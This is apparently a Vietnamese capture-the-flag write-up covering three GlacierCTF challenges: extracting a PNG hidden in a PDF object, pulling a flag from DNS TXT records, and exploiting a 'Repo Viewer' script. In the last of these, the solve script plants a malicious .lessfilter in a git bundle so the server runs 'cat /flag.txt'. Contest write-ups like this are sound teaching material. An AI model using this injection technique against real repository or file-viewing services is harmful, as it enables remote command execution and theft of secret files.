**Flag**: `gctf{0113_wh0_g1t_r3s3t3d_th3_c4t_4789}`

## findme v2
Challenge cho chúng ta một file pdf, khi mở lên thì file pdf không có gì đặc biệt.
![image](https://hackmd.io/_uploads/SysnYb4W-e.png)
Nhưng khi check bằng `pdf-parser` ở object 130 của file thì chúng ta sẽ thấy được một file PNG.
![image](https://hackmd.io/_uploads/HJDK5-Ebbe.png)
Ta có thể extract file ra bằng command:
`pdf-parser.py --filter --raw -o 130 -d flag.png chall.pdf`
![image](https://hackmd.io/_uploads/r1AYo-N--g.png)

![flag](https://hackmd.io/_uploads/BJZ3sZVbbg.png)

## RFC 1035
Challenge cho chúng ta một file binary, khi chạy chúng ta sẽ thấy được nó đang mở một file flag.png.
Khi reverse file, đầu tiên chúng ta sẽ thấy được ở hàm `main_main` file này sẽ tạo một dns server chạy trên TCP từ repo của [miekg](https://github.com/miekg/dns).
![image](https://hackmd.io/_uploads/rybQgMEZZg.png)
Tiếp theo, ở hàm `main_handleDnsRequest` chúng ta sẽ thấy nó đang trỏ tới một domain là `flag.example.com` 
![image](https://hackmd.io/_uploads/HySDgMNbbx.png)
Ngoài ra, nó sẽ sử dụng record `TXT` để gửi data của file `png`.
![image](https://hackmd.io/_uploads/HJD3-fNZ-l.png)
Như vậy chúng ta sẽ cần sử dụng server DNS từ đề bài là `challs.glacierctf.com:13381` với TCP để resolve domain `flag.example.com`.
![image](https://hackmd.io/_uploads/HyKCWM4-Wl.png)

Solve script:
```python!
import dns.message
import dns.query
import dns.rdatatype
import socket  

SERVER_HOST = "challs.glacierctf.com"
SERVER_PORT = 13381
TARGET_DOMAIN = "flag.example.com."

data = None

def main():
    try:
        server_ip = socket.gethostbyname(SERVER_HOST)
        print(f"[*] Resolved {SERVER_HOST} -> {server_ip}")

        query = dns.message.make_query(TARGET_DOMAIN, dns.rdatatype.TXT)

        response = dns.query.tcp(query, server_ip, port=SERVER_PORT, timeout=10)
        
        print("[*] Received DNS response")
        
        with open("flag.png", "wb") as f:
            for rrset in response.answer:
                for rdata in rrset:
                    for part in rdata.strings:
                        if isinstance(part, str):
                            part = part.encode()   
                        f.write(part)  
        print("[*] Flag written to flag.png")

    except Exception as e:
        print(f"[ERROR] {e}")

if __name__ == "__main__":
    main()
```
![image](https://hackmd.io/_uploads/BkqLGGVWWg.png)

## Repo Viewer


Challenge tại đây:

```bash
#!/bin/bash

set -euo pipefail

echo "Welcome to the Repo Viewer!"
echo "Submit a git bundle to view its README"
echo "Sample command: git clone <repo_url> . && git bundle create repo.bundle --all && (cat repo.bundle | base64; echo @) | wl-copy"
echo "Confirm with extra newline after base64 data."
echo "Input base64-encoded git bundle:"
read -d @ bundledata
printf %s "${bundledata}" | base64 -d > /tmp/repo.bundle
git clone /tmp/repo.bundle .

# lock down less
eval $(lesspipe)
cp  /data/.lesskey .lesskey

if [ -L README.md ]; then
    echo "No funny business!"
    exit 1
fi 

less README.md
```

Có thể thấy hàm eval khá khả nghi

sau khi đọc doc thì mình có thể override lesspipe sử dụng một file là .lessfilter: https://www.commandlinux.com/man-page/man1/lesspipe.1.html

Solve script của mình:

```python
from pwn import *
import os
import subprocess
import base64

os.makedirs("repo-exploit", exist_ok=True)
os.chdir("repo-exploit")

subprocess.run(["git", "init"], check=True)

with open("README.md", "w") as f:
    f.write("# Hello\n")

with open(".lessfilter", "w") as f:
    f.write("#!/bin/sh\ncat /flag.txt\nexit 0\n")
os.chmod(".lessfilter", 0o755)

subprocess.run(["git", "add", "README.md", ".lessfilter"], check=True)
subprocess.run([
    "git",
    "-c", "user.name=me",
    "-c", "user.email=me@me",
    "commit",
    "-m", "add lessfilter",
    "--no-gpg-sign"
], check=True)

subprocess.run(["git", "bundle", "create", "repo.bundle", "--all"], check=True)

with open("repo.bundle", "rb") as f:
    payload = base64.b64encode(f.read()) + b"\n@\n"

print(payload)

io = remote("challs.glacierctf.com", 13372)
io.send(payload)
io.interactive()
```

![image](https://hackmd.io/_uploads/Sy1S2ZMWbl.png)
